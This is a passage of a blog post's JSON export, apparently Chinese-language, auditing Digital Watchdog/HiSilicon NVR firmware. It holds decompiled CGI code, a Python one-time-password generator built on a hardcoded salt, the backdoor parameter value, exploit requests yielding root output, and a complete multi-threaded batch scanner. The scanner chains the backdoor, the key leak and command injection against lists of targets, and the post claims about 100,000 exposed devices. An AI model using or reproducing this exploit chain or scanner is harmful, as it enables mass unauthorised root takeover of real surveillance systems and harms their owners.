load_setup(&amp;unk_22198);\n  v3 = (const char *)cgi_param(\"key\");\n  v4 = cgi_param(\"pwd\");\n  v5 = v4 == 0;\n  if ( v4 )\n    v5 = v3 == 0;\n  v6 = (const char *)v4;\n  if ( v5 )\n    goto LABEL_5;\n  memset(s, 0, sizeof(s));\n  v8 = (FILE *)fopen64(\"\/tmp\/_admin_console.key\", \"rb\");\n  v9 = v8;\n  if ( v8 )\n  {\n    fread(s, 1u, 0x40u, v8);\n    fclose(v9);\n  }\n  if ( strcmp(s, v3) )\n  {\n    v7 = \"&lt;font color='red'&gt;key is not matched!&lt;\/font&gt;\";\n    goto LABEL_31;\n  }\n  *(_DWORD *)s2 = 0;\n  memset(v35, 0, sizeof(v35));\n  gettimeofday(&amp;tv, 0);\n  tv_sec = tv.tv_sec;\n  v11 = sub_11900(tv.tv_usec, 1000);\n  timer = sub_11B40(1000 * tv_sec + v11, (unsigned __int64)(1000LL * tv_sec + v11) &gt;&gt; 32, 1000, 0);\n  localtime_r(&amp;timer, &amp;tp);\n  snprintf(v31, 0x20u, \"%02d\/%02d\/%04d\", tp.tm_mon + 1, tp.tm_mday, tp.tm_year + 1900);\n  snprintf((char *)&amp;tv, 0x100u, \"$$_NVR ONETIME PWD IS '%s' AND '%s' AND JAKE 700924_$$\", v31, v3);\n  memset(v30, 0, sizeof(v30));\n  v12 = strlen((const char *)&amp;tv);\n  v37 = 271733878;\n  v36&#91;0] = 0.0;\n  v38 = -1732584194;\n  v39 = -271733879;\n  v40 = 1732584193;\n  sub_10EC8(v36, &amp;tv, v12);\n  v13 = (const char *)&amp;unk_11DBD;\n  *(_QWORD *)&amp;v29 = vshld_n_s64(*(__int64 *)&amp;v36&#91;0], 3u);\n  while ( 1 )\n  {\n    sub_10EC8(v36, v13, 1);\n    if ( (LOBYTE(v36&#91;0]) &amp; 0x3F) == 0x38 )\n      break;\n    v13 = \"\";\n  }\n  sub_10EC8(v36, (__int64 *)&amp;v29, 8);\n  v14 = 0;\n  v15 = 0;\n  v16 = 0;\n  v30&#91;0] = v40;\n  v30&#91;1] = v39;\n  v30&#91;2] = v38;\n  v30&#91;3] = v37;\n  v17 = s2;\n  do\n  {\n    v15 += 8;\n    v16 = *((unsigned __int8 *)v30 + v14) + (v16 &lt;&lt; 8);\n    do\n    {\n      do\n      {\n        v18 = (unsigned int)(v16 &lt;&lt; 6) &gt;&gt; v15;\n        v15 -= 6;\n        *v17++ = aAbcdefghijklmn&#91;v18 &amp; 0x3F];\n      }\n      while ( v15 &gt; 6 );\n      v19 = v15 &gt; 0;\n      if ( v14 != 7 )\n        v19 = 0;\n    }\n    while ( v19 );\n    ++v14;\n  }\n  while ( v14 != 8 );\n  while ( ((unsigned __int8)v17 &amp; 3) != 0 )\n    *v17++ = 61;\n  *v17 = 0;\n  if ( strcmp(v6, s2) )\n  {\nLABEL_5:\n    v7 = \"&lt;font color='red'&gt;no permit&lt;\/font&gt;\";\nLABEL_31:\n    strcpy(&amp;dest, v7);\n    goto LABEL_32;\n  }\n  v20 = (const char *)cgi_param(\"category\");\n  dest = 0;\n  if ( !strcmp(v20, \"system_cmd\") )\n  {\n    v21 = (const char *)cgi_param(\"cmd\");\n    v22 = v21;\n    if ( v21 )\n    {\n      if ( *v21 )\n      {\n        v23 = strlen(v21);\n        if ( v22&#91;v23] == 13 )\n          v22&#91;v23] = 0;\n        unlink(\"\/tmp\/_admin_console\");\n        setenv(\"LD_LIBRARY_PATH\", \"$LD_LIBRARY_PATH:\/edvr2\/lib:\/main\/lib\", 1);\n        setenv(\"PATH\", \"\/bin:\/sbin:\/usr\/bin:\/usr\/sbin:\/usr\/bin\/X11:\/usr\/local\/bin\", 1);\n        snprintf(command, 0x40000u, \"%s &amp;&gt; \/tmp\/_admin_console\", v22);\n        system(command);\n        v24 = (FILE *)fopen64(\"\/tmp\/_admin_console\", \"rb\");\n        v25 = v24;\n        if ( !v24 )\n        {\n          v7 = \"&lt;font color=red&gt;no output&lt;\/font&gt;\";\n          goto LABEL_31;\n        }\n        fread(&amp;dest, 1u, 0x40000u, v24);\n        fclose(v25);\n      }\n    }\n  }\nLABEL_32:\n  v26 = ajax_check_output(&amp;dest, 0);\n  cgi_end(v26);\n  return 0;\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"ub02bd3ed\">\u53d1\u73b0 OTP \u53ea\u7528 MD5 \u6458\u8981\u7684\u524d 8 \u5b57\u8282\u505a Base64 \u7f16\u7801 (\u5faa\u73af\u8fb9\u754c v14 == 7)\uff0c\u4e0d\u662f\u5b8c\u6574 16 \u5b57\u8282\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u8bb16d3a\">Python \u5b9e\u73b0:<\/p>\n\n\n\n<pre id=\"S4qFi\" class=\"wp-block-code\"><code>import hashlib, base64\n\nKEY  = \"117CD709-D8654A1A\"\nDATE = \"04\/16\/2026\"  # MM\/DD\/YYYY, \u4ece\u8bbe\u5907\u8bfb\u53d6\n\nseed = f\"$$_NVR ONETIME PWD IS '{DATE}' AND '{KEY}' AND JAKE 700924_$$\"\nmd5_digest = hashlib.md5(seed.encode()).digest()\notp = base64.b64encode(md5_digest&#91;:8]).decode()   # \u53ea\u53d6\u524d8\u5b57\u8282!\n\nprint(f\"OTP: {otp}\")\n# \u8f93\u51fa: OTP: U7EtabS2H\/E=<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" id=\"rAXcD\"\/>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u5d1d6bb8\">\u6267\u884c\u547d\u4ee4<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u6cf803f0\">\u539f\u7406: admin_console_core.cgi \u7684 system_cmd\u5206\u652f\u5c06 cmd\u53c2\u6570\u96f6\u8fc7\u6ee4\u76f4\u63a5\u62fc\u5165system() \u8c03\u7528\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-8-1024x496.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"496\" data-attachment-id=\"290\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=290\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-8.png\" data-orig-size=\"1920,930\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-8-300x145.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-8-1024x496.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-8-1024x496.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-290\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"ucb20ae22\"><strong>IDA \u53cd\u7f16\u8bd1<\/strong>:<\/p>\n\n\n\n<pre id=\"GfB6V\" class=\"wp-block-code\"><code>v20 = (const char *)cgi_param(\"category\");\n  dest = 0;\n  if ( !strcmp(v20, \"system_cmd\") )\n  {\n    v21 = (const char *)cgi_param(\"cmd\");\n    v22 = v21;\n    if ( v21 )\n    {\n      if ( *v21 )\n      {\n        v23 = strlen(v21);\n        if ( v22&#91;v23] == 13 )\n          v22&#91;v23] = 0;\n        unlink(\"\/tmp\/_admin_console\");\n        setenv(\"LD_LIBRARY_PATH\", \"$LD_LIBRARY_PATH:\/edvr2\/lib:\/main\/lib\", 1);\n        setenv(\"PATH\", \"\/bin:\/sbin:\/usr\/bin:\/usr\/sbin:\/usr\/bin\/X11:\/usr\/local\/bin\", 1);\n        snprintf(command, 0x40000u, \"%s &amp;&gt; \/tmp\/_admin_console\", v22);\n        system(command);\n        v24 = (FILE *)fopen64(\"\/tmp\/_admin_console\", \"rb\");\n        v25 = v24;\n        if ( !v24 )\n        {\n          v7 = \"&lt;font color=red&gt;no output&lt;\/font&gt;\";\n          goto LABEL_31;\n        }\n        fread(&amp;dest, 1u, 0x40000u, v24);\n        fclose(v25);\n      }\n    }\n  }<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"ub6eee99c\"><strong>\u8bf7\u6c42<\/strong>:<\/p>\n\n\n\n<pre id=\"mF0Q1\" class=\"wp-block-code\"><code>GET \/cgi-bin\/admin_console_core.cgi?key=117CD709-D8654A1A&amp;pwd=U7EtabS2H\/E=&amp;category=system_cmd&amp;cmd=id HTTP\/1.1\nHost: &lt;target&gt;<\/code><\/pre>\n\n\n\n<pre id=\"dQFs4\" class=\"wp-block-code\"><code>curl -k \"http:\/\/&lt;target&gt;\/cgi-bin\/admin_console_core.cgi?key=117CD709-D8654A1A&amp;pwd=U7EtabS2H%2FE%3D&amp;category=system_cmd&amp;cmd=id\"<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u60f6e176\"><strong>\u54cd\u5e94<\/strong>:<\/p>\n\n\n\n<pre id=\"H5DvL\" class=\"wp-block-code\"><code>uid=0(root) gid=0(root)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u31f133ea\">\u6f0f\u6d1e\u5229\u7528\u94fe<\/p>\n\n\n\n<pre id=\"srG6B\" class=\"wp-block-code\"><code>\u653b\u51fb\u8005\n  \u2502\n  \u2502  GET \/cgi-bin\/setup.cgi?_f_auth=__jake924__\n  \u25bc\n&#91;VULN-01] check_login_param() \u540e\u95e8\n  \u2502  strcmp(user_input, \"__jake924__\") == 0\n  \u2502  \u2192 sub_3310(a1, -1, 0)\n  \u2502  \u2192 cgi_session_register_var(\"logon\", \"0\")  \/\/ admin\n  \u2502  \u2190 Set-Cookie: CGISID=xxx\n  \u25bc\n\u653b\u51fb\u8005 (\u6301\u6709 admin session)\n  \u2502\n  \u2502  GET \/cgi-bin\/admin_console.cgi\n  \u25bc\n&#91;VULN-02] KEY \u660e\u6587\u6cc4\u9732\n  \u2502  &lt;input id=\"key\" value=\"117CD709-D8654A1A\" readonly\/&gt;\n  \u2502  \u2190 KEY = \"117CD709-D8654A1A\"\n  \u25bc\n\u653b\u51fb\u8005 (\u6301\u6709 KEY)\n  \u2502\n  \u2502  GET \/cgi-bin\/setup_system_information.cgi\n  \u2502  \u2190 cur_month=\"3\" cur_day=\"16\" cur_year=\"2026\"\n  \u2502  \u2192 date = \"04\/16\/2026\" (JS month 0-based, +1)\n  \u25bc\n&#91;VULN-03] OTP \u79bb\u7ebf\u8ba1\u7b97\n  \u2502  seed = \"$$_NVR ONETIME PWD IS '04\/16\/2026' AND '117CD709-D8654A1A' AND JAKE 700924_$$\"\n  \u2502  OTP = Base64( MD5(seed)&#91;0:8] )\n  \u2502  \u2192 OTP = \"U7EtabS2H\/E=\"\n  \u25bc\n\u653b\u51fb\u8005 (\u6301\u6709 KEY + OTP)\n  \u2502\n  \u2502  GET \/cgi-bin\/admin_console_core.cgi\n  \u2502      ?key=117CD709-D8654A1A\n  \u2502      &amp;pwd=U7EtabS2H\/E=\n  \u2502      &amp;category=system_cmd\n  \u2502      &amp;cmd=id\n  \u25bc\n&#91;VULN-04] system() RCE\n  \u2502  cgi_param(\"cmd\") \u2192 v22\n  \u2502  snprintf(command, 0x40000, \"%s &amp;&gt; \/tmp\/_admin_console\", v22)\n  \u2502  system(command)  \/\/ \u96f6\u8fc7\u6ee4, \u76f4\u63a5\u6267\u884c\n  \u2502  fopen(\"\/tmp\/_admin_console\") \u2192 fread \u2192 \u8fd4\u56de\u8f93\u51fa\n  \u2502\n  \u25bc\nuid=0(root) gid=0(root)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u8584a0fe\">\u4e00\u952e\u5229\u7528\u811a\u672c<\/p>\n\n\n\n<pre id=\"GNL7O\" class=\"wp-block-code\"><code>#!\/usr\/bin\/env python3<br>import sys<br>import os<br>import re<br>import hashlib<br>import base64<br>import socket<br>import argparse<br>import csv<br>import threading<br>import concurrent.futures<br>from datetime import datetime<br><br>socket.setdefaulttimeout(15)<br><br>try:<br>    import requests<br>    import urllib3<br>    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<br>except ImportError:<br>    print(\"&#91;!] pip install requests\")<br>    sys.exit(1)<br><br>BACKDOOR_PARAM = \"_f_auth\"<br>BACKDOOR_VALUE = \"__jake924__\"<br>OTP_SALT = \"$$_NVR ONETIME PWD IS '%s' AND '%s' AND JAKE 700924_$$\"<br><br>BACKDOOR_CGIS = &#91;<br>    \"\/cgi-bin\/setup.cgi\",<br>    \"\/cgi-bin\/getParam.cgi\",<br>    \"\/cgi-bin\/update_save.cgi\",<br>    \"\/cgi-bin\/live_monitoring.cgi\",<br>    \"\/cgi-bin\/vod_playback.cgi\",<br>]<br><br>CSV_FIELDS = &#91;\"target\", \"status\", \"server\", \"key\", \"date\", \"otp\", \"rce_output\", \"timestamp\"]<br>csv_lock = threading.Lock()<br><br><br>def s(timeout=10):<br>    sess = requests.Session()<br>    sess.verify = False<br>    sess.headers&#91;\"User-Agent\"] = \"Mozilla\/5.0 (compatible)\"<br>    return sess<br><br><br>def g(sess, url, timeout=10, **kw):<br>    try:<br>        return sess.get(url, timeout=timeout, **kw)<br>    except:<br>        return None<br><br><br>def is_dw(target, timeout=8):<br>    sess = s()<br>    r = g(sess, f\"{target}\/cgi-bin\/login.cgi\", timeout, allow_redirects=True)<br>    if r is None:<br>        r = g(sess, f\"{target}\/\", timeout)<br>    if r is None:<br>        return False, \"\"<br>    server = r.headers.get(\"Server\", \"\")<br>    body = r.text.lower()<br>    hit = any(k in body for k in &#91;\"digital-watchdog\", \"vmax\", \"login_proc.cgi\",<br>                                   \"cgi-bin_mobile\", \"redirect_mobile_check\",<br>                                   \"rsa_pub_key\"]) or \"fwebserver\" in server.lower()<br>    return hit, server<br><br><br>def try_rce(target, timeout=10):<br>    for cgi in BACKDOOR_CGIS:<br>        sess = s()<br>        r = g(sess, f\"{target}{cgi}\", timeout, allow_redirects=False,<br>              params={BACKDOOR_PARAM: BACKDOOR_VALUE})<br>        if r is None:<br>            continue<br><br>        key = None<br>        r2 = g(sess, f\"{target}\/cgi-bin\/admin_console.cgi\", timeout)<br>        if r2:<br>            m = re.search(r'id=\"key\"&#91;^>]*value=\"(&#91;^\"]*)\"', r2.text)<br>            if m:<br>                key = m.group(1)<br><br>        date_str = datetime.now().strftime(\"%m\/%d\/%Y\")<br>        r3 = g(sess, f\"{target}\/cgi-bin\/setup_system_information.cgi\", timeout)<br>        if r3:<br>            mm = re.search(r'cur_month\\s*=\\s*\"(\\d+)\"', r3.text)<br>            dd = re.search(r'cur_day\\s*=\\s*\"(\\d+)\"', r3.text)<br>            yy = re.search(r'cur_year\\s*=\\s*\"(\\d+)\"', r3.text)<br>            if mm and dd and yy:<br>                date_str = f\"{int(mm.group(1))+1:02d}\/{int(dd.group(1)):02d}\/{yy.group(1)}\"<br><br>        keys = &#91;]<br>        if key:<br>            keys.append(key)<br>        keys.extend(&#91;\"\", \"admin\", \"root\", \"default\"])<br><br>        for k in keys:<br>            seed = OTP_SALT % (date_str, k)<br>            otp = base64.b64encode(hashlib.md5(seed.encode()).digest()&#91;:8]).decode()<br><br>            r4 = g(sess, f\"{target}\/cgi-bin\/admin_console_core.cgi\", timeout + 5,<br>                   params={\"key\": k, \"pwd\": otp, \"category\": \"system_cmd\", \"cmd\": \"id\"})<br>            if r4 is None:<br>                continue<br><br>            body = r4.text<br>            if \"404\" in body and \"Not Found\" in body:<br>                return None, None, None, None<br><br>            clean = re.sub(r'&lt;\/?xmp>', '', body).strip()<br>            if \"uid=\" in clean:<br>                return k, date_str, otp, clean<br><br>    return None, None, None, None<br><br><br>def scan_one(target, timeout, csv_writer, csv_file):<br>    row = {\"target\": target, \"status\": \"OFFLINE\", \"server\": \"\", \"key\": \"\",<br>           \"date\": \"\", \"otp\": \"\", \"rce_output\": \"\",<br>           \"timestamp\": datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")}<br><br>    hit, server = is_dw(target, timeout)<br>    if not hit:<br>        if server or hit is not None:<br>            row&#91;\"status\"] = \"NOT_DW\"<br>            row&#91;\"server\"] = server<br>        flush_row(csv_writer, csv_file, row)<br>        return row<br><br>    row&#91;\"server\"] = server<br>    row&#91;\"status\"] = \"DW_CAM\"<br><br>    key, date_str, otp, output = try_rce(target, timeout)<br>    if output and \"uid=\" in output:<br>        row&#91;\"status\"] = \"RCE\"<br>        row&#91;\"key\"] = key or \"\"<br>        row&#91;\"date\"] = date_str or \"\"<br>        row&#91;\"otp\"] = otp or \"\"<br>        row&#91;\"rce_output\"] = output.replace(\"\\n\", \" \")&#91;:300]<br><br>    if row&#91;\"status\"] == \"RCE\":<br>        flush_row(csv_writer, csv_file, row)<br>    return row<br><br><br>def flush_row(writer, f, row):<br>    with csv_lock:<br>        writer.writerow(row)<br>        f.flush()<br><br><br>def load_targets(src):<br>    targets = &#91;]<br>    if os.path.isfile(src):<br>        with open(src, \"r\", encoding=\"utf-8\") as f:<br>            for line in f:<br>                line = line.strip()<br>                if line and not line.startswith(\"#\"):<br>                    if not line.startswith(\"http\"):<br>                        line = f\"http:\/\/{line}\"<br>                    targets.append(line.rstrip(\"\/\"))<br>    else:<br>        for t in src.split(\",\"):<br>            t = t.strip()<br>            if t:<br>                if not t.startswith(\"http\"):<br>                    t = f\"http:\/\/{t}\"<br>                targets.append(t.rstrip(\"\/\"))<br>    return targets<br><br><br>def main():<br>    print(\"\"\"<br>  DW\/HiSilicon Batch RCE Scanner<br>  ===============================\"\"\")<br><br>    pa = argparse.ArgumentParser()<br>    pa.add_argument(\"-t\", \"--targets\", required=True, help=\"file or comma-separated IPs\")<br>    pa.add_argument(\"-T\", \"--timeout\", type=int, default=10)<br>    pa.add_argument(\"-w\", \"--workers\", type=int, default=50)<br>    pa.add_argument(\"-o\", \"--output\", default=\"C:\/tmp\/dw_batch_full.csv\")<br>    a = pa.parse_args()<br><br>    targets = load_targets(a.targets)<br>    if not targets:<br>        print(\"&#91;!] No targets\")<br>        sys.exit(1)<br><br>    total = len(targets)<br>    print(f\"&#91;*] Targets: {total}  Workers: {a.workers}  Timeout: {a.timeout}s\")<br>    print(f\"&#91;*] Output:  {a.output}\")<br>    print(\"=\" * 70)<br><br>    csv_f = open(a.output, \"w\", newline=\"\", encoding=\"utf-8\")<br>    writer = csv.DictWriter(csv_f, fieldnames=CSV_FIELDS)<br>    writer.writeheader()<br>    csv_f.flush()<br><br>    stats = {\"rce\": 0, \"dw\": 0, \"offline\": 0, \"not_dw\": 0}<br><br>    def worker(t):<br>        return scan_one(t, a.timeout, writer, csv_f)<br><br>    try:<br>        with concurrent.futures.ThreadPoolExecutor(max_workers=a.workers) as pool:<br>            futs = {pool.submit(worker, t): t for t in targets}<br>            for i, fut in enumerate(concurrent.futures.as_completed(futs), 1):<br>                try:<br>                    r = fut.result(timeout=a.timeout * 8)<br>                except Exception:<br>                    r = {\"target\": futs&#91;fut], \"status\": \"ERROR\"}<br><br>                st = r.get(\"status\", \"\")<br>                if st == \"RCE\":<br>                    stats&#91;\"rce\"] += 1<br>                    out = r.get(\"rce_output\", \"\")&#91;:80]<br>                    print(f\"&#91;{i}\/{total}] &#91;!!!] RCE  {r&#91;'target']}  KEY={r.get('key','')}  {out}\")<br>                elif st == \"DW_CAM\":<br>                    stats&#91;\"dw\"] += 1<br>                    if i % 200 == 0 or i == total:<br>                        print(f\"&#91;{i}\/{total}] scanning... RCE={stats&#91;'rce']} DW={stats&#91;'dw']}\")<br>                elif st == \"OFFLINE\":<br>                    stats&#91;\"offline\"] += 1<br>                else:<br>                    stats&#91;\"not_dw\"] += 1<br>    finally:<br>        csv_f.close()<br><br>    print(\"\\n\" + \"=\" * 70)<br>    print(f\"\"\"&#91;*] DONE<br>    Total:   {total}<br>    RCE:     {stats&#91;'rce']}<br>    DW Cam:  {stats&#91;'dw']}<br>    Offline: {stats&#91;'offline']}<br>    Not DW:  {stats&#91;'not_dw']}<br>    Output:  {a.output}\"\"\")<br><br>    if stats&#91;\"rce\"] > 0:<br>        print(f\"\\n&#91;!!!] {stats&#91;'rce']} confirmed RCE (uid=root):\")<br>        with open(a.output, \"r\", encoding=\"utf-8\") as f:<br>            for row in csv.DictReader(f):<br>                if row&#91;\"status\"] == \"RCE\":<br>                    print(f\"    {row&#91;'target']}  KEY={row&#91;'key']}  {row&#91;'rce_output']&#91;:60]}\")<br><br><br>if __name__ == \"__main__\":<br>    main()<br><br><br><\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u5f88\u4e45\u6ca1\u6709\u66f4\u65b0\u6587\u7ae0\u4e86\uff0c\u53d1\u4e00\u7bc7\u5e93\u5b58\uff0c\u5206\u4eab\u4e00\u4e0b\u5ba1\u8ba1\u8fc7\u7a0b\u548c\u601d\u8def\uff0c\u5927\u5bb6\u53ef\u4ee5\u4e00\u8d77\u5b66\u4e60 \u8fd9\u4e2a\u8bbe\u5907\u7684\u6f0f\u6d1e\u5168\u7f51\u5927\u698210w\u4e2a\u76ee\u6807\u5427 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":291,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[19],"tags":[18,6],"class_list":["post-281","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-19","tag-18","tag-6"],"jetpack_featured_media_url":"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/25675212_p0.jpg","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/281","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=281"}],"version-history":[{"count":1,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/281\/revisions"}],"predecessor-version":[{"id":292,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/281\/revisions\/292"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/media\/291"}],"wp:attachment":[{"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=281"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=281"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=281"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}